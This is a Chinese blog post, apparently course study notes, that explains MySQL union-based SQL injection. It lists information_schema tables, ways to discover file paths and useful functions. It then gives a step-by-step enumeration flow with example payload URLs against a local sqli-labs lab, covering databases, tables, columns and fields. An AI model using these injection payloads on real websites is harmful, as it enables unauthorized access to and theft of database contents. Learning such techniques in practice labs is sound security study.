SQL注入之MYSQL注入

information_schema

MYSQL5.0以上版本中,再带一个名为information_schema的数据库,这个数据库存储这所有数据库名,表名和列名,可通过此数据库查询指定数据库下的表明和列名。

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_LOCKS                          |
| INNODB_TRX                            |
| INNODB_SYS_DATAFILES                  |
| INNODB_FT_CONFIG                      |
| INNODB_SYS_VIRTUAL                    |
| INNODB_CMP                            |
| INNODB_FT_BEING_DELETED               |
| INNODB_CMP_RESET                      |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMPMEM_RESET                   |
| INNODB_FT_DELETED                     |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_LOCK_WAITS                     |
| INNODB_TEMP_TABLE_INFO                |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_FIELDS                     |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_BUFFER_PAGE                    |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_SYS_TABLESPACES                |
| INNODB_METRICS                        |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_CMPMEM                         |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_TABLESTATS                 |
+---------------------------------------+
61 rows in set (0.00 sec)

information_schema.schemata:记录所有数据库名的表

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_schema:列名

低版本注入

目前5.0以下版本的mysql很少见,一般只能通过字典暴力破解少数可通过文件读取收集路径信息

文件读写操作

路径获取方法

  • 报错显示
  • 遗留文件:调试网站时所遗留的信息文件,如phpinfo()等,会泄露路径,可用工具扫描到。
  • 漏洞报错:知道对方用什么程序搭建的网站,网上搜索相关爆路径漏洞
  • 平台配置文件:通过读取文件来读取搭建平台配置文件。缺点:路径不默认,一旦更改很难找到。

常见读取文件列表

常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客

常用函数

  • version():数据库的版本(注意5.0版本前后的区别)
  • user():当前操作数据库的用户
  • database():当前数据库名
  • @@version_compile_os:服务器的操作系统

运算符优先级问题

 MySQL运算符的优先级

注入流程及跨库注入

  1. 判断是否存在注入点
  2. 查询当前数据表有多少列
    order by x(对前面数据进行排列,有几列就x就是几,超过列数就会报错)
  3. 信息收集(查看当前数据库版本,数据库名称),注意让union前语句为空,这样后面的语句就可以显示出来
    http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(schema _name) from information_schema.schemata
    注意:union 前后的两个 sql 语句的选择列数要相同
  4. 查表
    http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(table_name) from information _schema.tables where table_schema='xxxxx'
  5. 查列
    http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(column _name) from information_schema.columns where table_name='xxx'
  6. 查字段
    http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(username) from column_name
    跨库注入:MySQL数据库sql注入之数据获取、跨库注入以及文件读写(以sqli-labs环境演示) - shley - 博客园

注:文章是对于小迪师傅安全课程的学习总结,【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)_哔哩哔哩_bilibili,部分内容参考自【小迪安全-web渗透测试课程】第12天:WEB漏洞-SQL注入之简要SQL注入 - 哔哩哔哩

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值